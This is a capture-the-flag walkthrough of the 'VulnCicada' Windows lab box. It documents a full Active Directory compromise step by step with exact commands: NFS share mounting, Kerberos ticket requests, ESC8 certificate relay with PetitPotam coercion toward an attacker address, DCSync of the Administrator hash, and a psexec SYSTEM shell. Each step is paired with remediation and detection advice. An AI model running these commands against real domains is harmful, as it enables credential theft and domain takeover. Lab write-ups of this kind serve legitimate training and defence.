J. Perez Duertojperezduerto.info
← all walkthroughs

VulnCicada

Windows· Medium
owned
2026-10-11
time to own
24m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found that the domain controller of cicada.vl published its user-profile share over NFS to everyone with no authentication. A screenshot stored in one user's Documents folder displayed a plaintext password, yielding a valid low-privileged domain account. Because NTLM is disabled domain-wide, all further access used Kerberos.

The certificate authority's HTTP web-enrollment endpoint accepted machine authentication relayed over Kerberos (ESC8), so coercing the domain controller to authenticate back to my own listener produced a certificate for the DC's own machine account. That certificate's Kerberos material was used to replicate (DCSync) the domain Administrator's password hash, and that hash was then used to open a SYSTEM shell on the domain controller - full domain compromise, with both flags read from the Administrator desktop.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for Rosie.Powell>"

Some commands also carry a value in angle brackets — <listener-name> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationNetwork service enumeration; exposed NFS export (MITRE ATT&CK T1135)
Mapped the domain controller and found an open NFS export
A port sweep identified a Windows domain controller (DC-JPQ225, domain cicada.vl) exposing DNS, Kerberos, LDAP, SMB, RDP, and - unusually - NFS (ports 111/2049). The NFS server advertised a /profiles export readable and writable by everyone. Because NTLM is disabled on this domain and the DC's clock differs from my by several hours, host aliases and a time offset were set up so later Kerberos operations would succeed.
Export list for $TARGET: /profiles (everyone); SMB banner reported signing:True, NTLM:False.
Exact commands 3
shell

Add host aliases required for Kerberos name resolution.

$ echo "$TARGET cicada.vl DC-JPQ225.cicada.vl" | sudo tee -a /etc/hosts
shell

Full port and service scan.

$ nmap -p- --min-rate 2000 -sC -sV $TARGET
shell

Lists the world-accessible /profiles export.

$ showmount -e $TARGET
FixRemove the unauthenticated NFS export of user profile dataCritical
WeaknessThe domain controller exported a /profiles share over NFS to 'everyone' with no authentication, exposing every domain user's full profile folder - including files containing a plaintext password - to anonymous network clients.
FixRemove NFS/Server for NFS from the domain controller entirely; it should never host user profile data for anonymous access. If NFS is required elsewhere, restrict exports to specific authorized hosts with Kerberos (sec=krb5p) and root-squash, and audit profile shares for stored credentials.
2Initial AccessUnauthenticated file-share access; credentials stored in files (T1552.001)
Read domain user profiles over NFS and recovered a plaintext password
The /profiles export was mounted with no credentials and exposed the Windows profile trees of multiple domain users, including Administrator and Rosie.Powell. A file in Rosie.Powell's Documents folder, marketing.png, contained a visible password: <withheld> for the account cicada.vl\Rosie.Powell.
Downloading /Rosie.Powell/marketing.png to marketing.png ... File successfully downloaded; <withheld> later validated against cicada.vl\Rosie.Powell.
Exact commands 2
shell

Mount the open export (no auth required).

$ sudo mkdir -p /mnt/profiles && sudo mount -t nfs -o rw $TARGET:/profiles /mnt/profiles
shell

Retrieve and view the screenshot to read the exposed password.

$ cp /mnt/profiles/Rosie.Powell/marketing.png . && xdg-open marketing.png
3Initial AccessValid accounts, Kerberos authentication (T1078.002)
Authenticated to the domain over Kerberos
Because NTLM is disabled, the recovered credential could only be used via Kerberos. A TGT was requested for Rosie.Powell (clock-corrected to match the DC), confirming the password and giving an authenticated domain session. Share enumeration from this session showed a CertEnroll share, indicating Active Directory Certificate Services (ADCS) is deployed.
Saving ticket in Rosie.Powell.ccache; SMB DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell's password, shares enumerated including CertEnroll.
Exact commands 2
shell

Request a Kerberos TGT; the faketime offset compensates the DC's ~7h clock skew.

$ faketime -f '-25200s' impacket-getTGT cicada.vl/Rosie.Powell:$PASSWORD -dc-ip $TARGET
shell

Kerberos-authenticated SMB share enumeration.

$ KRB5CCNAME=Rosie.Powell.ccache faketime -f '-25200s' nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p $PASSWORD -k --shares
FixEliminate plaintext credentials stored in user filesHigh
WeaknessA password was stored in plain view inside an image file (marketing.png) in a user's Documents folder, giving any reader of that file a valid domain credential.
FixTrain users and enforce policy (DLP scanning) against storing credentials in documents, screenshots, or notes; rotate any password found exposed this way; adopt a managed password vault for shared or service credentials.
4Privilege EscalationAD CS ESC8 - NTLM/Kerberos relay to HTTP certificate enrollment (MITRE ATT&CK T1649; relay via coercion)
Abused HTTP certificate web enrollment to relay the DC's own machine authentication (ESC8)
Certipy's vulnerable-template check found no directly abusable template, but the CA's web enrollment page was reachable over plain HTTP with Enroll rights for Authenticated Users - the ESC8 condition. A relay listener was started against that endpoint, a DNS record was added so the DC would resolve a name back to me, and the DC was coerced (PetitPotam-style) into authenticating to that listener. The relayed authentication let me request a DomainController certificate on behalf of the DC's own machine account.
Certipy find reported CertEnroll Web Enrollment over HTTP with Enroll rights for Authenticated Users; certipy relay saved dc-jpq225.pfx after the coerced authentication succeeded.
Exact commands 4
shell

Confirms Web Enrollment over HTTP (ESC8) on the CA.

$ certipy find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p $PASSWORD -k -vulnerable -stdout
shell

Point a DNS name at I so the DC's coerced auth lands there.

$ bloodyAD -u Rosie.Powell -p $PASSWORD -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord <listener-name> $ATTACKER_IP
shell

Start the relay listener on 0.0.0.0:445 against the CA's web enrollment.

$ certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
shell

Coerce the DC into authenticating back to the relay, yielding dc-jpq225.pfx.

$ faketime -f '-25200s' nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p $PASSWORD -k -M coerce_plus -o LISTENER=<listener-name> METHOD=PetitPotam
FixDisable or secure HTTP certificate web enrollment (ESC8)Critical
WeaknessThe Certificate Authority's web enrollment endpoint was reachable over plain HTTP and granted enrollment rights to Authenticated Users, allowing a relayed machine authentication to obtain a certificate impersonating the domain controller's machine account.
FixDisable IIS-based Certificate Enrollment Web Service (CES) if not required, or enforce HTTPS with Extended Protection for Authentication (EPA) and require Channel Binding on the enrollment endpoint. Disable NTLM/Kerberos relay exposure to the CA by restricting which hosts can reach it, and block coercion protocols (PetitPotam/PrinterBug) via the documented registry/firewall mitigations.
5Privilege EscalationDCSync - Directory Replication Service abuse (MITRE ATT&CK T1003.006)
Used the stolen machine certificate to replicate the Administrator password hash
The DomainController certificate issued to the DC's machine account was converted into a Kerberos TGT and the machine account's NT hash (via U2U). With this machine-account Kerberos identity - which has domain-replication rights - I performed a targeted DCSync to pull the Administrator account's password hash directly from Active Directory, without ever touching the Administrator's own credentials.
Certipy auth -pfx dc-jpq225.pfx returned a dc-jpq225$ TGT, ccache and NT hash; impacket-secretsdump against dc-jpq225$ returned the Administrator NT hash.
Exact commands 2
shell

Exchange the relayed cert for a dc-jpq225$ TGT (ccache) and NT hash.

$ certipy auth -pfx dc-jpq225.pfx -dc-ip $TARGET
shell

DCSync the Administrator account using the machine account's replication rights.

$ KRB5CCNAME=dc-jpq225.ccache impacket-secretsdump -k -no-pass cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl -just-dc-user administrator
FixRestrict and monitor Directory Replication (DCSync) rightsCritical
WeaknessThe compromised domain controller machine account held Directory Replication Service rights (as all DCs do by default), allowing a stolen machine certificate to be used to replicate the Administrator password hash via DCSync.
FixThis follows directly from the ESC8 compromise of a DC machine identity - closing that path prevents the DCSync. Additionally, monitor for DS-Replication-Get-Changes/-All events (Event ID 4662) from non-DC sources and alert on any DCSync-style replication request outside known DC-to-DC traffic.
6Domain CompromisePass-the-hash Kerberos authentication and SMB/SVCCTL remote service execution (T1021.002, T1569.002)
Obtained a SYSTEM shell on the domain controller and captured both flags
With the Administrator NT hash, impacket-psexec authenticated over Kerberos to the domain controller, uploaded a service binary to the writable ADMIN$ share, and started it as a service - granting a SYSTEM-level command shell. Both user.txt and root.txt were read from the Administrator desktop, confirming full compromise of the domain.
Found writable share ADMIN$; Creating service Drxx; nt authority\system shell returned; user.txt and root.txt both captured from C:\Users\Administrator\Desktop.
Exact commands 3
shell

Open a SYSTEM shell using the DCSync'd Administrator hash over Kerberos.

$ faketime -f '-25200s' impacket-psexec -k -no-pass -hashes :<admin-NT-hash> 'cicada.vl/Administrator@DC-JPQ225.cicada.vl'
shell

Prove access, then read the user flag (placeholder <user.txt>).

$ whoami & type C:\Users\Administrator\Desktop\user.txt
nt authority\system
shell

Read the root flag (placeholder <root.txt>).

$ type C:\Users\Administrator\Desktop\root.txt
FixLimit lateral movement via SMB admin shares and monitor remote service creationHigh
WeaknessOnce the Administrator hash was obtained, an unauthorised user used the writable ADMIN$ share and remote service creation to get an immediate SYSTEM shell on the domain controller, with no additional controls to slow or detect it.
FixRestrict ADMIN$/SVCCTL remote service creation with host-based firewall rules and tiered-admin policy (Administrator should not be usable for routine remote access); enable and monitor Windows Event ID 7045 (new service installed) and 4624 Type 3 logons on domain controllers for anomalous activity.

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
111/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
2049/tcp
3268/tcp
3269/tcp
3389/tcp
9389/tcp
49664/tcp
49668/tcp
51690/tcp
62325/tcp
62326/tcp
62350/tcp
62432/tcp
53/udp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.